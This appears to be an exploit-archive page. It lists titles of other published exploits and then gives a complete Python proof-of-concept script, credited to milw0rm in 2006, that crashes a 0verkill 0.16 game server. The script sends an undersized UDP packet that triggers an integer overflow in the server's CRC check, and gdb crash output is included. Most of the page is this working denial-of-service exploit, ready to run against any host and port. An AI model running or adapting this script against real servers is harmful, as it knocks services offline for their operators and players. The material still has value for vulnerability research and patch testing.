477bcbdcc0
5 new exploits phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerability Exploit phpMyNewsletter <= 0.8 (beta5) - Multiple Vulnerabilities My Book World Edition NAS Multiple Vulnerability My Book World Edition NAS - Multiple Vulnerabilities Katalog Stron Hurricane 1.3.5 - Multiple Vulnerability RFI / SQL Katalog Stron Hurricane 1.3.5 - (RFI / SQL) Multiple Vulnerabilities cmsfaethon-2.2.0-ultimate.7z Multiple Vulnerability cmsfaethon-2.2.0-ultimate.7z - Multiple Vulnerabilities DynPG CMS 4.1.0 - Multiple Vulnerability (popup.php and counter.php) DynPG CMS 4.1.0 - (popup.php and counter.php) Multiple Vulnerabilities Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerability Nucleus CMS 3.51 (DIR_LIBS) - Multiple Vulnerabilities N/X - Web CMS (N/X WCMS 4.5) Multiple Vulnerability N/X - Web CMS (N/X WCMS 4.5) - Multiple Vulnerabilities New-CMS - Multiple Vulnerability New-CMS - Multiple Vulnerabilities Edgephp Clickbank Affiliate Marketplace Script Multiple Vulnerability Edgephp Clickbank Affiliate Marketplace Script - Multiple Vulnerabilities JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerability JV2 Folder Gallery 3.1.1 - (popup_slideshow.php) Multiple Vulnerabilities i-Gallery - Multiple Vulnerability i-Gallery - Multiple Vulnerabilities My Kazaam Notes Management System Multiple Vulnerability My Kazaam Notes Management System - Multiple Vulnerabilities Omnidocs - Multiple Vulnerability Omnidocs - Multiple Vulnerabilities Web Cookbook Multiple Vulnerability Web Cookbook - Multiple Vulnerabilities KikChat - (LFI/RCE) Multiple Vulnerability KikChat - (LFI/RCE) Multiple Vulnerabilities Webformatique Reservation Manager - 'index.php' Cross-Site Scripting Vulnerability Webformatique Reservation Manager 2.4 - 'index.php' Cross-Site Scripting Vulnerability xEpan 1.0.4 - Multiple Vulnerability xEpan 1.0.4 - Multiple Vulnerabilities AKIPS Network Monitor 15.37 through 16.5 - OS Command Injection Netwrix Auditor 7.1.322.0 - ActiveX (sourceFile) Stack Buffer Overflow Cisco UCS Manager 2.1(1b) - Shellshock Exploit OpenSSH <= 7.2p1 - xauth Injection FreeBSD 10.2 amd64 Kernel - amd64_set_ldt Heap Overflow
83 lines
2.3 KiB
Python
Executable file
83 lines
2.3 KiB
Python
Executable file
#!/usr/bin/env python
|
|
#
|
|
# -----------------------------------------------------
|
|
# Exploit id: FSE:016
|
|
#
|
|
# Author: Federico Fazzi
|
|
# Contact: federico@autistici.org
|
|
# Date: 09/06/2006, 13:58
|
|
# Sinthesis: 0verkill 0.16, Remote integer overflow
|
|
# Product: http://artax.karlin.mff.cuni.cz/~brain/0verkill/
|
|
# -----------------------------------------------------
|
|
#
|
|
# Start with:
|
|
# python f_0k-0.1.py <remote_addr> <remote_port>
|
|
#
|
|
|
|
# Proof of concept:
|
|
# (gdb) run
|
|
# Starting program: /home/federico/0verkill-0.16/server
|
|
# 9. 6.2006 14:18:07 Running 0verkill server version 0.16
|
|
# 9. 6.2006 14:18:07 Initialization.
|
|
# 9. 6.2006 14:18:07 Loading sprites.
|
|
# 9. 6.2006 14:18:07 Loading level "level1"....
|
|
# 9. 6.2006 14:18:07 Loading level graphics.
|
|
# 9. 6.2006 14:18:08 Loading level map.
|
|
# 9. 6.2006 14:18:08 Loading level objects.
|
|
# 9. 6.2006 14:18:08 Initializing socket.
|
|
# 9. 6.2006 14:18:08 Installing signal handlers.
|
|
# 9. 6.2006 14:18:08 Game started.
|
|
# 9. 6.2006 14:18:08 Sleep
|
|
# 9. 6.2006 14:18:10 Wakeup
|
|
#
|
|
# (run python f_0k-0.6.py)
|
|
#
|
|
# Program received signal SIGSEGV, Segmentation fault.
|
|
# crc32 (buf=0x837a000 <Address 0x837a000 out of bounds>, len=4294967288) at crc32.c:82
|
|
# warning: Source file is more recent than executable.
|
|
# 82 DO8(buf);
|
|
#
|
|
# #0 0x0805b54a in recv_packet (packet=0x805fd20 "",
|
|
# max_len=256, addr=0xf18df475, addr_len=0xf18df475, sender_server=0, recipient=0,
|
|
# sender=0xbfcf6d54) at net.c:94
|
|
# 94 if (crc!=crc32(packet,retval-12))return -1;
|
|
#
|
|
# limits byte receive is 12, if you send an inferior number of it
|
|
# the game crash.
|
|
|
|
import os, sys
|
|
from socket import *
|
|
|
|
usage = "run: python %s [remote_addr] [remote_port] " % os.path.basename(sys.argv[0])
|
|
|
|
if len(sys.argv) < 3:
|
|
print usage
|
|
sys.exit()
|
|
|
|
host = sys.argv[1]
|
|
port = int(sys.argv[2])
|
|
|
|
sock = socket(AF_INET, SOCK_DGRAM)
|
|
sock.connect((host, port))
|
|
|
|
print "connecting.. ",
|
|
if sock > 0:
|
|
print "done!"
|
|
else:
|
|
print "wrong!"
|
|
|
|
print "crashing the server.. ",
|
|
if sock.sendto('0x00' , (host, port)):
|
|
print "done!"
|
|
else:
|
|
print "wrong!"
|
|
|
|
print "wait five seconds, if no data found press CTRL+C"
|
|
try:
|
|
reply = sock.recvfrom(512)
|
|
print reply
|
|
except:
|
|
print "no data receive!"
|
|
sys.exit()
|
|
|
|
# milw0rm.com [2006-06-09]
|